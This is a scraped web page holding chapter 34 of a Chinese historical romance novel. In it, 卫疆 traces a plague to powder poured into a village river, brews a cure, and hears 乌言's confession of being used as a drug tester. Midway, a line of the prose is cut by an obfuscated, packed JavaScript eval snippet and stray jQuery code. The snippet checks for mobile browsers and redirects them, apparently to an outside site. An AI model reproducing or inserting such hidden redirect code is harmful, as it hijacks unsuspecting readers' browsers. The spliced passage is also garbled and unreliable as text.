默认冷灰
24号文字
方正启体

34. 河神

作者:熠鸣本书字数:K更新时间:
    “趁姑奶奶我好说话的时候,老实交代!”


    受制于人的男孩只好道出了实情。


    “祖爷爷说村庄变成如今这样,都是他们应得的,是他们不敬河神!”


    “什么河神?说清楚。”卫疆追问。


    “就是铜像上的河神,村里人不敬河神,往河里乱丢东西,才致河神愤怒,天降大祸。”


    卫疆沉思,松开钳制男孩的手:“还有吗?”


    揉着被抓痛的胳膊,男孩撇着嘴回道:“村中人本靠河边捕鱼为生,可前段时间有人开始往河里丢着什么东西,后来大家也争相把垃圾丢到河中,河神便降下灾祸,惩治这些人。”


    点点头,卫疆又问:“这村庄除了你,谁还活着?”


    男孩压低声音,偷偷说道:“还有村长家的小儿子王平,这些时日我们是躲在村长家的地道才活下来的,对亏铜像保佑。前阵子村中来了外人,后来又消失不见,爷爷说是何神使者,就是他们偷偷往河中放了什么,河神才降下神罚的。”


    “那你可知那些人去了哪里?”


    男孩摇摇头:“村长知道,那天村长还不让我去见王平。”


    “带我去找他。”


    拽起男孩的衣领让其带路,男孩只能不情不愿往前走着,卫疆一个不留神,小男孩疯狂往前跑。


    卫疆眼神淡定抬手射出银针刺痛男孩的穴位,痛麻瞬间攀升到男孩的小腿,男孩嘴里“哎呦哎呦”的叫唤,怀中铜像飞出,仰面躺倒在泥土地里。


    卫疆阴沉着脸威胁:“别耍小性子,我说过,你逃不出我的手掌心。”


    男孩一瘸一拐的捡起铜像抱在怀里,用衣摆擦净铜像上沾染的灰尘,而后又一瘸一拐的走到卫疆面前,撇着嘴默默往反方向走去。


    带着卫疆找到了村中一户人家,掀开房内床板,打开的木板掀起一片灰尘,惹得飞尘钻进鼻腔,接连咳嗽起来。


    地道中传来一丝微弱的声音,男孩率先钻进去,卫疆紧随其后,其余人则守在入口处。


    看见来人,王平灰扑扑的脸蛋上扬着欣喜,可见到卫疆时,惊恐从眼眶中夺出。


    李柱挠挠头后兴奋的说道:“他们看起来是大官,我们不用再挨饿了!”


    卫疆直接了当询问:“可还记得村中来人时的衣着打扮?”


    王平手指紧抓衣摆,吞吞吐吐道:“你……真的会给我们食物吗?”


    卫疆欣然点头,从怀中掏出几锭银钱:“这些也足够你们在丰阳城里买些粮食药材,如何?这下总该相信我说的话吧,我不是坏人,也有能力动刑撬开你们的嘴。我只是想要知道为何这个村子变成了如今模样?”


    握着手中沉甸甸的银钱,王平从怀中掏出了一包粉末,“我见有人把这个倒进河里,同爹爹说后,爹爹便把我藏了起来不准出去。”


    想起那段时间忍饥挨饿躲在黑暗的地底,王平又一阵害怕,声音哽咽。李柱抱住王平安慰,想起了去世不久的爷爷,二人哭作一团。


    怀中铜像被偶尔溅落的泪滴打湿,正巧落在铜像的眼下,铜像一下活了般,悲悯众人。


    卫疆神色凝重,手中的药粉宛若千斤,若这场瘟疫是有人蓄谋为之,幕后之人定会注意着这场疫情的状况。


    敌在暗的情况着实对他们不利,可不论怎样,若这包药粉,当真是疫病之源,此次疫情或许能提早结束。


    掂量着手中的意外收获,卫疆心情不错,对两个小孩说道:“走吧,跟着姐姐我吃香的喝辣的,左右你们这村子已经没了。”


    李柱挣扎犹豫片刻便同意了,祖爷爷临终前虽让他看守神像,不过也没说不让去别的地方供奉,神仙也得配合他!


    两个孩童再也不想饱受折磨、忍饥挨饿,用力点点头,生怕卫疆反悔。


    卫疆怀中揣着那包粉末,后面随着两个小尾巴,回了城。


    进城后卫疆将两个孩童抛给佐冬便直奔卢院使的院子,卢愈见到粉末后眼睛惊恐瞪大,郑重和压抑笼罩了整间屋子。


    二人关在房间里废寝忘食时,许晋安那边传来消息,京城中许多世家商贾纷纷捐资粮食药材,眼下已经在运往丰阳的路上。


    彼时卫疆和卢愈已经没有心思关心旁的,只一门心思的深埋在研究瘟疫上。


    好在功夫不负有心人,经过了三日的废寝忘食,二人研究出了一副方子。


    蹲在火炉旁,把控着熬制药材的火候,卫疆和卢愈灰头土脸的坐在灶旁,眼睛一瞬不眨的盯着灶上的炉子,心情忐忑又激动。


    “这次多亏了丫头,若是这副药剂当真有用,老夫定会禀报陛下赏你什么一官半职,让你再耍耍医师的威风!”


    “你这老头也不赖,不愧是夏中第一御医,我也只是恰好钻研这些,并不如您涉猎甚广,日后还是要同您多多讨教的。”


    卢愈被夸的眉飞色舞,捋捋打成一结的胡子,笑道:“丫头莫要谦虚,话说回来,别怪我我老头八卦,你们二人如今如何?前段时间听说还闹了绝食,真是没想到陛下眼中的近臣,竟然还有如此一面。”


    卫疆不解,看着卢愈。


    卢愈毫不犹豫的揭了乌言的短:“丫头你不知,乌言这小子,在大臣们眼中可是个彻头彻尾的笑面狐狸,若是惹恼了,被拔下一层皮不说,乌言可是追着咬!”


    这执拗劲儿当真是乌言作风,卫疆无奈一笑,岔开话题:“皇帝怎得这般看重他?”


    卢愈似个顽童:“还不是这小子最会拿捏人心,把陛下哄的喜笑颜开,之前都是我同陛下下棋逗趣,如今倒是嫌弃我这一把老骨头,被乌言哄的团团转!”


    嘴上说着愤慨,话语间却是带着点欣慰,卢愈轻叹一声,同卫疆说道:“乌言心思沉,陛下也是放在眼下才肯放心。”


    卫疆知道这是句提点,可乌言所图她不知晓,而她所图也更将是狼子野心。


    卫疆笑了笑,没再说话,二人接连沉默。


    “咕嘟咕嘟”声从炉子中发出,卫疆欣喜起身,用厚厚的巾布包裹住围炉的耳柄,将汤药倒入碗中。


    药香随着蒸腾的水汽争先恐后的涌进卫疆鼻腔,褐色的药汁同暗褐色的瓷碗融为一体,变得深暗,卫疆端着药放进食盒就要走出门,被卢愈拦住。


    “此药方甚是大胆,不可轻举妄动,还是找些愿意一试的人吧。”


    卫疆提着食盒踏出院子:“我心中已有人选。”


    提着药盒到了乌言的院子,一脚踹开房门。


    此时的乌言正虚弱的躺在床上,汗水浸湿额间的墨发,一缕一缕的贴在苍白的脸颊旁,额头冒着虚汗,惨白的嘴里还在喃喃的说着什么。


    “不要……不要……不……再喝……”


    卫疆只当乌言被梦魇住,轻推叫醒。


    听到了熟悉的声音,乌言疲惫的睁开双眼,轻声道:“只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446216|185108||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有在梦中你才肯看我。”


    卫疆未踏进这房门的这段时日,乌言想了许多,可见到卫疆的那一刻,他又挣扎着想逃避。


    乌言静静的看着卫疆扶着他坐起,打开食盒端出一碗汤药喂到嘴边,乌言轻声道:“可是厌烦了我的多话,今日梦中你说话甚少,莫不是……唔”


    卫疆懒得同乌言废话,只觉得是受疫病侵扰神志不清,轻轻吹凉汤药,将勺中的汤药塞进乌言开开合合的嘴里,粗暴不容拒绝。


    乌言的被说出口的话混着温热的汤药一同灌进胃里,呛得乌言咳嗽几声。一喂一喝,画面异常和谐,乌言身上发了许多热汗,冰冷的身躯舒服许多。


    卫疆本想让乌言躺下,却遭拒绝。


    乌言轻声说道:“若这是你见我的最后一面,不如全同你坦白吧。省得日后你到了地下,又要怪罪于我。”


    卫疆于是静静坐在床边。


    “五年前约定我们一文一武保夏中百年河清海晏之约,是我失约于你。你刚走不久,乌玉便将我迷晕,绑进间狭窄的石壁内。”


    “每日喝着无数汤药,吃着数不清的不明药丸,那时昏迷的日子要比我清醒的时候长许多,久到分不清梦境和现实。”


    “我梦到有人要害你,梦到你在我怀中吐血身亡。我不知道是谁害了你,我只是拼了命的想要见你。”


    “后来我能清醒的时间越来越久,久到我甚至难以入睡,头疼也愈发频繁。这香包中的檀木香总是能让我安定些许,我只是你在佑我。”


    从怀中掏出那枚阵脚粗制的香包,乌言视若珍宝,轻轻摩挲。


    “乌玉没什么本事,却做到了如今兵部尚书的职位,不过是他把我送给了陛下,作为药童去研究什么长生不老。”


    “狗屁医师制药时也嘲笑会有人相信这世上真有长生不老之药,可这也是他虐待我的面具,享受他的荣华富贵。”


    “陛下便是这般贪心,既想要有人替他试药又不希望有人发现他真正的意图,他不会用寻常孩子去作为药童,因为那会成为他的把柄,但是被进贡的我却不一样。”


    一个本可凭借才能往上爬的人,却被如此折磨,卫疆心阵阵抽痛。


    是了,以他对乌言这些年的了解,他断不会不辞而别,她最想听到的解释,是乌言扯开伤疤,露出血淋淋的伤口捧到面前,卫疆心如刀绞。


    乌言沙哑着声音问道:“若这世上真的有天堂地狱,你会怪我把你拖下这无间地狱吗?”


    “我只是太爱你罢。”


    捂住乌言后面肉麻的话,卫疆柔声道:“我说过,我对你的心思从未变过。”哪怕你是夏季钟的人。


    乌言轻声一笑,调皮的舌头轻舔卫疆掌心,湿漉漉的温从掌心传来,卫疆猛的抽回手,却被乌言一把抓住,放在胸口。


    “我身体的每一处都属于你,包括我的心跳。”


    卫疆脸颊微红,嘴上却是说道:“你是我的夫君,当然一切皆属于我。”


    乌言咧着嘴傻笑,汤药的药效上劲儿,乌言开始昏昏欲睡,被卫疆按倒在床上,强迫闭眼。


    不过一息,便传来均匀的呼吸,卫疆仔细端详着这张闯入她心扉的脸,百看不厌。


    房门轻叩,是月梅递了封信,盛阳被替换的卫兵在乱葬岗找到,卫兵身上没有几处能看得过眼的地方,全是大小不一、沟壑交错的伤口,看上去像是被自己抓挠所致。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)